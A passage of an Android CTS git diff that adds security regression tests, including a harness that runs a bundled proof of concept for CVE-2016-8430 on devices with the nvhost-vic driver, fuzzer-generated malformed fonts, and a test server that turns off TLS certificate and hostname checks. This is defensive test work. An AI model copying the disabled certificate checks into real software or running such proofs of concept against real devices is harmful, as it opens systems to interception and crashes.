+    }
+
+   /**
+     * Extracts the binary data from a resource and writes it to a temp file
+     */
+    private static File extractResource(String fullResourceName, File file) throws Exception {
+        try (InputStream in = AdbUtils.class.getResourceAsStream(fullResourceName);
+            OutputStream out = new BufferedOutputStream(new FileOutputStream(file))) {
+            if (in == null) {
+                throw new IllegalArgumentException("Resource not found: " + fullResourceName);
+            }
+            byte[] buf = new byte[65536];
+            int chunkSize;
+            while ((chunkSize = in.read(buf)) != -1) {
+                out.write(buf, 0, chunkSize);
+            }
+            return file;
+        }
+
+    }
+}
diff --git a/hostsidetests/security/src/android/host/security/cts/Poc16_12.java b/hostsidetests/security/src/android/host/security/cts/Poc16_12.java
new file mode 100644
index 0000000..c9ac087
--- /dev/null
+++ b/hostsidetests/security/src/android/host/security/cts/Poc16_12.java
@@ -0,0 +1,45 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+//package android.security.cts;
+package android.host.security.cts;
+
+import com.android.cts.util.SecurityTest;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+
+public class Poc16_12 extends SecurityTestCase {
+    /**
+     *  b/32225180
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8430() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
+        }
+    }
+
+}
diff --git a/hostsidetests/security/src/android/host/security/cts/SecurityTestCase.java b/hostsidetests/security/src/android/host/security/cts/SecurityTestCase.java
new file mode 100644
index 0000000..eedfa97
--- /dev/null
+++ b/hostsidetests/security/src/android/host/security/cts/SecurityTestCase.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.host.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+
+public class SecurityTestCase extends DeviceTestCase {
+
+    private long kernelStartTime;
+
+    /**
+     * Waits for device to be online, marks the most recent boottime of the device
+     */
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        kernelStartTime = System.currentTimeMillis()/1000 -
+            Integer.parseInt(getDevice().executeShellCommand("cut -f1 -d. /proc/uptime").trim());
+        //TODO:(badash@): Watch for other things to track.
+        //     Specifically time when app framework starts
+    }
+
+    /**
+     * Takes a device and runs a root command.  There is a more robust version implemented by
+     * NativeDevice, but due to some other changes it isnt trivially acessible, but I can get
+     * that implementation fairly easy if we think it is a better idea.
+     */
+    public void enableAdbRoot(ITestDevice mDevice) throws DeviceNotAvailableException {
+        boolean isUserDebug =
+            "userdebug".equals(mDevice.executeShellCommand("getprop ro.build.type").trim());
+        if (!isUserDebug) {
+            //TODO(badash@): This would Noop once cl: ag/1594311 is in
+            return;
+        }
+        mDevice.executeAdbCommand("root");
+    }
+
+    /**
+     * Check if a driver is present on a machine
+     */
+    public boolean containsDriver(ITestDevice mDevice, String driver) throws Exception {
+        String result = mDevice.executeShellCommand("ls -Zl " + driver);
+        if(result.contains("No such file or directory")) {
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
+     * (due to rounding) of the previous boottime to check if The phone has crashed.
+     */
+    @Override
+    public void tearDown() throws Exception {
+        getDevice().waitForDeviceOnline(60 * 1000);
+        assertTrue("Phone has had a hard reset",
+            (System.currentTimeMillis()/1000 -
+                Integer.parseInt(getDevice().executeShellCommand("cut -f1 -d. /proc/uptime").trim())
+                    - kernelStartTime < 2));
+        //TODO(badash@): add ability to catch runtime restart
+        getDevice().executeAdbCommand("unroot");
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java b/libs/commonutil/src/com/android/cts/util/SecurityTest.java
similarity index 60%
rename from tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
rename to libs/commonutil/src/com/android/cts/util/SecurityTest.java
index 79f166f..cc1d08f 100644
--- a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
+++ b/libs/commonutil/src/com/android/cts/util/SecurityTest.java
@@ -13,18 +13,19 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package com.android.cts.util;
 
-package android.security.cts;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
 
-import android.app.Activity;
-import android.os.Bundle;
+/**
+ * Marks the type of test with purpose of evaluating security vulnerabilities.
+ *
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface SecurityTest {
 
-import com.android.cts.security.R;
-
-public class SkiaJpegDecodingActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_skiajpegdecoding);
-    }
-}
\ No newline at end of file
+}
diff --git a/libs/deviceutil/src/android/cts/util/KeyEventUtil.java b/libs/deviceutil/src/android/cts/util/KeyEventUtil.java
deleted file mode 100644
index 961337d..0000000
--- a/libs/deviceutil/src/android/cts/util/KeyEventUtil.java
+++ /dev/null
@@ -1,197 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import android.app.Instrumentation;
-import android.os.Looper;
-import android.os.SystemClock;
-import android.util.Log;
-import android.view.InputDevice;
-import android.view.KeyCharacterMap;
-import android.view.KeyEvent;
-import android.view.View;
-import android.view.inputmethod.InputMethodManager;
-
-import java.lang.reflect.Field;
-
-/**
- * Utility class to send KeyEvents to TextView bypassing the IME. The code is similar to functions
- * in {@link Instrumentation} and {@link android.test.InstrumentationTestCase} classes. It uses
- * {@link View#dispatchKeyEvent(KeyEvent)} to send the events.
- * After sending the events waits for idle.
- */
-public class KeyEventUtil {
-    private final Instrumentation mInstrumentation;
-
-    public KeyEventUtil(Instrumentation instrumentation) {
-        this.mInstrumentation = instrumentation;
-    }
-
-    /**
-     * Sends the key events corresponding to the text to the app being instrumented.
-     *
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param text The text to be sent. Null value returns immediately.
-     */
-    public final void sendString(final View targetView, final String text) {
-        if (text == null) {
-            return;
-        }
-
-        KeyEvent[] events = getKeyEvents(text);
-
-        if (events != null) {
-            for (int i = 0; i < events.length; i++) {
-                // We have to change the time of an event before injecting it because
-                // all KeyEvents returned by KeyCharacterMap.getEvents() have the same
-                // time stamp and the system rejects too old events. Hence, it is
-                // possible for an event to become stale before it is injected if it
-                // takes too long to inject the preceding ones.
-                sendKey(targetView, KeyEvent.changeTimeRepeat(events[i], SystemClock.uptimeMillis(),
-                        0));
-            }
-        }
-    }
-
-    /**
-     * Sends a series of key events through instrumentation. For instance:
-     * sendKeys(view, KEYCODE_DPAD_LEFT, KEYCODE_DPAD_CENTER).
-     *
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param keys The series of key codes.
-     */
-    public final void sendKeys(final View targetView, final int...keys) {
-        final int count = keys.length;
-
-        for (int i = 0; i < count; i++) {
-            try {
-                sendKeyDownUp(targetView, keys[i]);
-            } catch (SecurityException e) {
-                // Ignore security exceptions that are now thrown
-                // when trying to send to another app, to retain
-                // compatibility with existing tests.
-            }
-        }
-    }
-
-    /**
-     * Sends a series of key events through instrumentation. The sequence of keys is a string
-     * containing the key names as specified in KeyEvent, without the KEYCODE_ prefix. For
-     * instance: sendKeys(view, "DPAD_LEFT A B C DPAD_CENTER"). Each key can be repeated by using
-     * the N* prefix. For instance, to send two KEYCODE_DPAD_LEFT, use the following:
-     * sendKeys(view, "2*DPAD_LEFT").
-     *
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param keysSequence The sequence of keys.
-     */
-    public final void sendKeys(final View targetView, final String keysSequence) {
-        final String[] keys = keysSequence.split(" ");
-        final int count = keys.length;
-
-        for (int i = 0; i < count; i++) {
-            String key = keys[i];
-            int repeater = key.indexOf('*');
-
-            int keyCount;
-            try {
-                keyCount = repeater == -1 ? 1 : Integer.parseInt(key.substring(0, repeater));
-            } catch (NumberFormatException e) {
-                Log.w("ActivityTestCase", "Invalid repeat count: " + key);
-                continue;
-            }
-
-            if (repeater != -1) {
-                key = key.substring(repeater + 1);
-            }
-
-            for (int j = 0; j < keyCount; j++) {
-                try {
-                    final Field keyCodeField = KeyEvent.class.getField("KEYCODE_" + key);
-                    final int keyCode = keyCodeField.getInt(null);
-                    try {
-                        sendKeyDownUp(targetView, keyCode);
-                    } catch (SecurityException e) {
-                        // Ignore security exceptions that are now thrown
-                        // when trying to send to another app, to retain
-                        // compatibility with existing tests.
-                    }
-                } catch (NoSuchFieldException e) {
-                    Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
-                    break;
-                } catch (IllegalAccessException e) {
-                    Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
-                    break;
-                }
-            }
-        }
-    }
-
-    /**
-     * Sends an up and down key events.
-     *
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param key The integer keycode for the event to be send.
-     */
-    public final void sendKeyDownUp(final View targetView, final int key) {
-        sendKey(targetView, new KeyEvent(KeyEvent.ACTION_DOWN, key));
-        sendKey(targetView, new KeyEvent(KeyEvent.ACTION_UP, key));
-    }
-
-    /**
-     * Sends a key event.
-     *
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param event KeyEvent to be send.
-     */
-    public final void sendKey(final View targetView, final KeyEvent event) {
-        long downTime = event.getDownTime();
-        long eventTime = event.getEventTime();
-        int action = event.getAction();
-        int code = event.getKeyCode();
-        int repeatCount = event.getRepeatCount();
-        int metaState = event.getMetaState();
-        int deviceId = event.getDeviceId();
-        int scancode = event.getScanCode();
-        int source = event.getSource();
-        int flags = event.getFlags();
-        if (source == InputDevice.SOURCE_UNKNOWN) {
-            source = InputDevice.SOURCE_KEYBOARD;
-        }
-        if (eventTime == 0) {
-            eventTime = SystemClock.uptimeMillis();
-        }
-        if (downTime == 0) {
-            downTime = eventTime;
-        }
-
-        final KeyEvent newEvent = new KeyEvent(downTime, eventTime, action, code, repeatCount,
-                metaState, deviceId, scancode, flags, source);
-
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                targetView.dispatchKeyEvent(newEvent);
-            }
-        });
-        mInstrumentation.waitForIdleSync();
-    }
-
-    private KeyEvent[] getKeyEvents(final String text) {
-        KeyCharacterMap keyCharacterMap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
-        return keyCharacterMap.getEvents(text.toCharArray());
-    }
-}
diff --git a/libs/testserver/src/android/webkit/cts/CtsTestServer.java b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
index 321b44d..de88f3b 100644
--- a/libs/testserver/src/android/webkit/cts/CtsTestServer.java
+++ b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
@@ -54,31 +54,34 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.UnsupportedEncodingException;
+import java.net.MalformedURLException;
 import java.net.ServerSocket;
 import java.net.Socket;
 import java.net.URI;
 import java.net.URL;
 import java.net.URLEncoder;
+import java.net.URLConnection;
+import java.security.KeyManagementException;
 import java.security.KeyStore;
+import java.security.NoSuchAlgorithmException;
 import java.security.cert.X509Certificate;
 import java.util.ArrayList;
 import java.util.Date;
 import java.util.Hashtable;
 import java.util.HashMap;
-import java.util.HashSet;
 import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
-import java.util.Set;
 import java.util.Vector;
+import java.util.concurrent.Callable;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
-import java.util.concurrent.RejectedExecutionException;
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
 import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
 import javax.net.ssl.KeyManager;
 import javax.net.ssl.KeyManagerFactory;
 import javax.net.ssl.SSLContext;
@@ -112,6 +115,7 @@
     private static final String COOKIE_PREFIX = "/cookie";
     private static final String LINKED_SCRIPT_PREFIX = "/linkedscriptprefix";
     private static final String AUTH_PREFIX = "/auth";
+    private static final String SHUTDOWN_PREFIX = "/shutdown";
     public static final String NOLENGTH_POSTFIX = "nolength";
     private static final int DELAY_MILLIS = 2000;
 
@@ -219,13 +223,74 @@
      * Terminate the http server.
      */
     public void shutdown() {
-        mServerThread.shutDownOnClientThread();
-
         try {
+            // Avoid a deadlock between two threads where one is trying to call
+            // close() and the other one is calling accept() by sending a GET
+            // request for shutdown and having the server's one thread
+            // sequentially call accept() and close().
+            URL url = new URL(mServerUri + SHUTDOWN_PREFIX);
+            if (url.getProtocol().equalsIgnoreCase("http")) {
+                // Use Socket instead of HttpURLConnection when the server is in cleartext HTTP mode
+                // to avoid the request being blocked by NetworkSecurityPolicy.
+                Socket socket = null;
+                try {
+                    socket = new Socket(url.getHost(), url.getPort());
+                    socket.getOutputStream().write(
+                        ("GET " + SHUTDOWN_PREFIX + " HTTP/1.0\r\n\r\n").getBytes("US-ASCII"));
+                    socket.getOutputStream().flush();
+                } finally {
+                    if (socket != null) {
+                        try {
+                            socket.close();
+                        } catch (Exception ignored) {}
+                    }
+                }
+            } else {
+                URLConnection connection = openConnection(url);
+                connection.connect();
+
+                // Read the input from the stream to send the request.
+                InputStream is = connection.getInputStream();
+                is.close();
+            }
+
             // Block until the server thread is done shutting down.
             mServerThread.join();
+
+        } catch (MalformedURLException e) {
+            throw new IllegalStateException(e);
         } catch (InterruptedException e) {
             throw new RuntimeException(e);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        } catch (NoSuchAlgorithmException e) {
+            throw new IllegalStateException(e);
+        } catch (KeyManagementException e) {
+            throw new IllegalStateException(e);
+        }
+    }
+
+    private URLConnection openConnection(URL url)
+            throws IOException, NoSuchAlgorithmException, KeyManagementException {
+        if (mSsl == SslMode.INSECURE) {
+            return url.openConnection();
+        } else {
+            // Install hostname verifiers and trust managers that don't do
+            // anything in order to get around the client not trusting
+            // the test server due to a lack of certificates.
+
+            HttpsURLConnection connection = (HttpsURLConnection) url.openConnection();
+            connection.setHostnameVerifier(new CtsHostnameVerifier());
+
+            SSLContext context = SSLContext.getInstance("TLS");
+            try {
+                context.init(ServerThread.getKeyManagers(), getTrustManagers(), null);
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+            connection.setSSLSocketFactory(context.getSocketFactory());
+
+            return connection;
         }
     }
 
@@ -710,6 +775,11 @@
             response.setEntity(createPage(agent, agent));
         } else if (path.equals(TEST_DOWNLOAD_PATH)) {
             response = createTestDownloadResponse(Uri.parse(uriString));
+        } else if (path.equals(SHUTDOWN_PREFIX)) {
+            response = createResponse(HttpStatus.SC_OK);
+            // We cannot close the socket here, because we need to respond.
+            // Status must be set to OK, or else the test will fail due to
+            // a RunTimeException.
         } else if (path.equals(APPCACHE_PATH)) {
             response = createResponse(HttpStatus.SC_OK);
             response.setEntity(createEntity("<!DOCTYPE HTML>" +
@@ -854,12 +924,9 @@
         private CtsTestServer mServer;
         private ServerSocket mSocket;
         private SslMode mSsl;
-        private boolean mWillShutDown = false;
+        private boolean mIsCancelled;
         private SSLContext mSslContext;
         private ExecutorService mExecutorService = Executors.newFixedThreadPool(20);
-        private Object mLock = new Object();
-        // All the sockets bound to an open connection.
-        private Set<Socket> mSockets = new HashSet<Socket>();
 
         /**
          * Defines the keystore contents for the server, BKS version. Holds just a
@@ -945,14 +1012,10 @@
         }
 
         public void run() {
-            while (!mWillShutDown) {
+            while (!mIsCancelled) {
                 try {
                     Socket socket = mSocket.accept();
 
-                    synchronized(mLock) {
-                        mSockets.add(socket);
-                    }
-
                     DefaultHttpServerConnection conn = mServer.createHttpServerConnection();
                     HttpParams params = new BasicHttpParams();
                     params.setParameter(CoreProtocolPNames.PROTOCOL_VERSION, HttpVersion.HTTP_1_0);
@@ -962,17 +1025,17 @@
                     // parsing the response since conn.close() will crash
                     // for SSL requests due to UnsupportedOperationException.
                     HttpRequest request = conn.receiveRequestHeader();
+                    if (isShutdownRequest(request)) {
+                        mIsCancelled = true;
+                    }
                     if (request instanceof HttpEntityEnclosingRequest) {
                         conn.receiveRequestEntity( (HttpEntityEnclosingRequest) request);
                     }
 
-                    mExecutorService.execute(new HandleResponseTask(conn, request, socket));
+                    mExecutorService.execute(new HandleResponseTask(conn, request));
                 } catch (IOException e) {
                     // normal during shutdown, ignore
                     Log.w(TAG, e);
-                } catch (RejectedExecutionException e) {
-                    // normal during shutdown, ignore.
-                    Log.w(TAG, e);
                 } catch (HttpException e) {
                     Log.w(TAG, e);
                 } catch (UnsupportedOperationException e) {
@@ -981,26 +1044,10 @@
                     Log.w(TAG, e);
                 }
             }
-        }
-
-        /**
-         * Shutdown the socket and the executor service.
-         * Note this method is called on the client thread, instead of the server thread.
-         */
-        public void shutDownOnClientThread() {
             try {
-                mWillShutDown = true;
                 mExecutorService.shutdown();
                 mExecutorService.awaitTermination(1L, TimeUnit.MINUTES);
                 mSocket.close();
-                // To prevent the server thread from being blocked on read from socket,
-                // which is called when the server tries to receiveRequestHeader,
-                // close all the sockets here.
-                synchronized(mLock) {
-                    for (Socket socket : mSockets) {
-                        socket.close();
-                    }
-                }
             } catch (IOException ignored) {
                 // safe to ignore
             } catch (InterruptedException e) {
@@ -1008,19 +1055,24 @@
             }
         }
 
+        private static boolean isShutdownRequest(HttpRequest request) {
+            RequestLine requestLine = request.getRequestLine();
+            String uriString = requestLine.getUri();
+            URI uri = URI.create(uriString);
+            String path = uri.getPath();
+            return path.equals(SHUTDOWN_PREFIX);
+        }
+
         private class HandleResponseTask implements Runnable {
 
             private DefaultHttpServerConnection mConnection;
 
             private HttpRequest mRequest;
 
-            private Socket mSocket;
-
             public HandleResponseTask(DefaultHttpServerConnection connection,
-                    HttpRequest request, Socket socket)  {
+                    HttpRequest request) {
                 this.mConnection = connection;
                 this.mRequest = request;
-                this.mSocket = socket;
             }
 
             @Override
@@ -1030,10 +1082,6 @@
                     mConnection.sendResponseHeader(response);
                     mConnection.sendResponseEntity(response);
                     mConnection.close();
-
-                    synchronized(mLock) {
-                        ServerThread.this.mSockets.remove(mSocket);
-                    }
                 } catch (Exception e) {
                     Log.e(TAG, "Error handling request:", e);
                 }
diff --git a/tests/expectations/knownfailures.txt b/tests/expectations/knownfailures.txt
index 284719e..445e4c8 100644
--- a/tests/expectations/knownfailures.txt
+++ b/tests/expectations/knownfailures.txt
@@ -366,32 +366,5 @@
   description: "Still investigating this, root cause unknown yet",
   bug: 27578806,
   names: ["com.android.cts.cpptools.RunAsHostTest#testRunAs"]
-},
-{
-  description: "Sensor tests not working",
-  bug: 28159339,
-  names: [
-    "android.hardware.cts.helpers.sensorverification.TimestampClockSourceVerificationTest#testVerify_fail",
-    "android.hardware.cts.helpers.sensorverification.TimestampClockSourceVerificationTest#testVerify_jitter_fail",
-    "android.hardware.cts.helpers.sensorverification.TimestampClockSourceVerificationTest#testVerify_jitter_pass",
-    "android.hardware.cts.helpers.sensorverification.TimestampClockSourceVerificationTest#testVerify_missing_events_fail",
-    "android.hardware.cts.helpers.sensorverification.TimestampClockSourceVerificationTest#testVerify_missing_events_pass",
-    "android.hardware.cts.helpers.sensorverification.TimestampClockSourceVerificationTest#testVerify_no_events_fail",
-    "android.hardware.cts.helpers.sensorverification.TimestampClockSourceVerificationTest#testVerify_pass"
-  ]
-},
-{
-  description: "Permission Policy unaltered not working in M",
-  bug: 27599613,
-  names: [
-    "android.permission2.cts.PermissionPolicyTest#testPlatformPermissionPolicyUnaltered"
-  ]
-},
-{
-  description: "Libskia security test not working.",
-  bug: 29635350,
-  names: [
-    "android.security.cts.SkiaJpegDecodingTest#testLibskiaOverFlowJpegProcessing"
-  ]
 }
 ]
diff --git a/tests/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 9d7f566..f5b29cf 100644
--- a/tests/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -332,7 +332,6 @@
                 .setTicker(message)
                 .setContentTitle("")
                 .setContentText("")
-                .setPriority(Notification.PRIORITY_MAX)
                 // Mark the notification as "interruptive" by specifying a vibration pattern. This
                 // ensures it's announced properly on watch-type devices.
                 .setVibrate(new long[] {})
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index 52bedce..4276d73 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -28,7 +28,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner services.core guava ctstestserver
 
 # Resource unit tests use a private locale and some densities
 LOCAL_AAPT_FLAGS = -c xx_YY -c cs -c small -c normal -c large -c xlarge \
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java b/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
index 004b193..d9f34fe 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
@@ -22,14 +22,21 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.cts.util.SecurityTest;
+
 import java.io.IOException;
 
 /**
  * Test {@link CursorWindowContentProvider} .
  */
+@SecurityTest
 public class ContentProviderCursorWindowTest extends AndroidTestCase {
     private static final String TAG = "ContentProviderCursorWindowTest";
 
+    /**
+    * test for b/34128677
+    */
+    @SecurityTest
     public void testQuery() throws IOException {
         Cursor cursor = getContext().getContentResolver().query(
                 Uri.parse("content://cursorwindow.provider/hello"),
diff --git a/tests/tests/content/src/android/content/cts/SyncStorageEngineTest.java b/tests/tests/content/src/android/content/cts/SyncStorageEngineTest.java
new file mode 100644
index 0000000..c53107f
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/SyncStorageEngineTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import android.accounts.Account;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.PeriodicSync;
+import android.content.res.Resources;
+import android.content.SyncStatusInfo;
+import android.os.Bundle;
+import android.os.Looper;
+import android.test.AndroidTestCase;
+import android.test.RenamingDelegatingContext;
+import android.test.mock.MockContentResolver;
+import android.test.mock.MockContext;
+import android.test.suitebuilder.annotation.LargeTest;
+import android.test.suitebuilder.annotation.MediumTest;
+import android.test.suitebuilder.annotation.SmallTest;
+import com.android.server.content.SyncStorageEngine;
+import com.android.internal.os.AtomicFile;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.util.List;
+
+public class SyncStorageEngineTest extends AndroidTestCase {
+    public void testMalformedAuthority() throws Exception {
+        Looper.prepare();
+        // Authority id is non integer. It should be discarded by SyncStorageEngine.
+        byte[] accountsFileData = ("<?xml version='1.0' encoding='utf-8' standalone='yes' ?>\n"
+                + "<accounts>\n"
+                + "<listenForTickles user=\"0\" enabled=\"false\" />"
+                + "<listenForTickles user=\"1\" enabled=\"true\" />"
+                + "<authority id=\"nonint\" user=\"0\" account=\"account1\" type=\"type1\""
+                + " authority=\"auth1\" />\n"
+                + "</accounts>\n").getBytes();
+
+        File syncDir = getSyncDir();
+        syncDir.mkdirs();
+        AtomicFile accountInfoFile = new AtomicFile(new File(syncDir, "accounts.xml"));
+        FileOutputStream fos = accountInfoFile.startWrite();
+        fos.write(accountsFileData);
+        accountInfoFile.finishWrite(fos);
+
+        SyncStorageEngine engine = SyncStorageEngine.newTestInstance(getContext());
+        Account account = new Account("account1", "type1");
+        SyncStorageEngine.EndPoint endPoint = new SyncStorageEngine.EndPoint(account, "auth1", 0);
+        SyncStatusInfo info = engine.getStatusByAuthority(endPoint);
+        assertNull(info);
+    }
+
+    private File getSyncDir() {
+        return new File(new File(getContext().getFilesDir(), "system"), "sync");
+    }
+}
diff --git a/tests/tests/graphics/assets/ft45987.ttf b/tests/tests/graphics/assets/ft45987.ttf
new file mode 100644
index 0000000..369022f
--- /dev/null
+++ b/tests/tests/graphics/assets/ft45987.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/ft45987.ttf.README.txt b/tests/tests/graphics/assets/ft45987.ttf.README.txt
new file mode 100644
index 0000000..7586955
--- /dev/null
+++ b/tests/tests/graphics/assets/ft45987.ttf.README.txt
@@ -0,0 +1,4 @@
+ft45987.ttf was automatically generated by LibFuzzer
+(http://llvm.org/docs/LibFuzzer.html). Its base64 encoded version was taken
+from http://savannah.nongnu.org/bugs/?func=detailitem&item_id=45987 and
+decoded back.
diff --git a/tests/tests/graphics/assets/unsorted_cmap12.ttf b/tests/tests/graphics/assets/unsorted_cmap12.ttf
new file mode 100644
index 0000000..d9587df
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap12.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap12.ttx b/tests/tests/graphics/assets/unsorted_cmap12.ttx
new file mode 100644
index 0000000..6444903
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap12.ttx
@@ -0,0 +1,199 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
